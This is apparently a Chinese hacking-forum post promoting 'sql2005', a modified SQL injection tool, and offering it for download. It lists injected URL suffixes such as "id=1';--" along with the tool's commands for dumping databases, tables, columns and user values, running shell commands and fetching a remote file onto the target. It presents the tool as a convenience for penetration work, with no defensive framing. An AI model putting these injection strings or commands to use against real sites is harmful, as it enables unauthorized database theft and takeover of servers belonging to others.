版权所有:http://www.pcsec.orgBK瞬间群感谢无敌小黄瓜的投递 原始代码可见http://hi.baidu.com/tr4c3/blog/item/da1c1c30c93da89ca9018e27.html经过黄瓜修改代码，功能更加强大了，希望能给大家的渗透工作带来方便。 程序说明：+========== =================== ================ ================ =========== + + Made By tr4c3,Modified By 无敌小黄瓜【bk瞬间群】 + +========== =================== ================ ================ =========== + --------------url.txt内容为:--------------比如：http://www.google.com/ *** .asp?id=2;-- 正在注入的是http://www.xxx.com/index.asp?id=1 ;-- --------------参数:--------------sql2005 infosql2005 logbackupsql2005 userssql2005 localgroupssql2005 sqlfilesql2005 disksql2005 pubs cleansql2005 c:\1.txt mmsql2005 turn on/offsql2005 c:\ dirsql2005 ver cmdsql2005 "select @@version" querysql2005 https://www.hack56.com/images/tav4j0hssfj.gif c:\1.gif downloadsql2005 databasessql2005 pubs tablessql2005 pubs authors colssql2005 pubs authors au_id valuessql2005 pubs authors au_id id name pass vv+=====================+url内容 //注意get方式的有个？ http://www.google.com/index.asp?id=1';--GET http://www.google.com/index.asp?id=1';--POST 程序下载：sql2005.rar